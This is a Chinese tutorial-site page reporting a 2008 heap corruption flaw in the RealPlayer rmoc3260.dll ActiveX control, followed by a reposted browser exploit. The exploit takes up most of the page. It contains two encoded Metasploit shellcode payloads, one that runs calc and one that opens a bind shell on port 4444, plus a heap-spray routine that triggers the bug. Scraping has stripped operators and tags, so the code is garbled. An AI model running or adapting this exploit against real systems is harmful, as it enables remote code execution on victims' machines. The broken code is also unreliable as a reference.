RealPlayer又曝新漏洞_漏洞分析教程-查字典教程网

RealPlayer的漏洞问题越来越严重，milworm在昨天再次发布了一个Real Player 控件溢出漏洞。在环境 Windows XP SP2(fully patched) English, IE6测试成功运行calc。

该漏洞存在于rmoc3260.dll，并且只有 version 6.0.10.45可以被成功执行漏洞攻击。

在最新版本以及旧版本没有办法成功执行该漏洞。该DLL版本对应的REAL版本号为：6.0.14.748。请使用6.0.14.748版本的用户尽快安装新版本。

发布日期:2008-4-2

最后更新日期:2008-4-2 12:37（GMT）

real又报新洞。。。漏洞组件rmoc3260.dll版本6.0.10.45

程序代码

<!--

Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit(Heap Corruption)

written by e.b.

Tested on Windows XP SP2(fully patched) English, IE6, rmoc3260.dll version 6.0.10.45

Thanks to h.d.m. and the Metasploit crew

-->

<html>

<head>

<title>Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit</title>

function Check() {

// win32_exec - EXITFUNC=seh CMD=c:windowssystem32calc.exe Size=378 Encoder=Alpha2 http://metasploit.com

var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949"

"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a"

"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241"

"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c"

"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c"

"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f"

"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b"

"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c"

"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831"

"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955"

"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b"

"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b"

"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44"

"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35"

"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530"

"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b"

"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c"

"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63"

"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f"

"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377"

"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f"

"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035"

"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653"

"%u314e%u7475%u7038%u7765%u4370");

// win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com

var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949"

"%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a"

"%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241"

"%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c"

"%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f"

"%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c"

"%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f"

"%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b"

"%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c"

"%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31"

"%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35"

"%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b"

"%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663"

"%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733"

"%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470"

"%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358"

"%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f"

"%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458"

"%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58"

"%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f"

"%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275"

"%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45"

"%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033"

"%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046"

"%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035"

"%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036"

"%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64"

"%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35"

"%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67"

"%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30"

"%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f"

"%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246"

"%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139"

"%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652"

"%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e"

"%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b"

"%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075"

"%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251"

"%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f"

"%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f"

"%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b"

"%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952"

"%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73"

"%u684f%u3956%u386f%u4350");

var bigblock = unescape("%u0C0C%u0C0C");

var headersize = 20;

var slackspace = headersize shellcode1.length;

while (bigblock.length < slackspace) bigblock = bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);

while (block.length slackspace < 0x40000) block = block block fillblock;

var memory = new Array();

for (i = 0; i < 400; i ){ memory[i] = block shellcode1 }

var buf = '';

while (buf.length < 32) buf = buf unescape("");

var m = '';

m = obj.Console;

obj.Console = buf;

obj.Console = m;

m = obj.Console;

obj.Console = buf;

obj.Console = m;

}

</script>

</head>

Unable to create object

</object>

</body>

</html>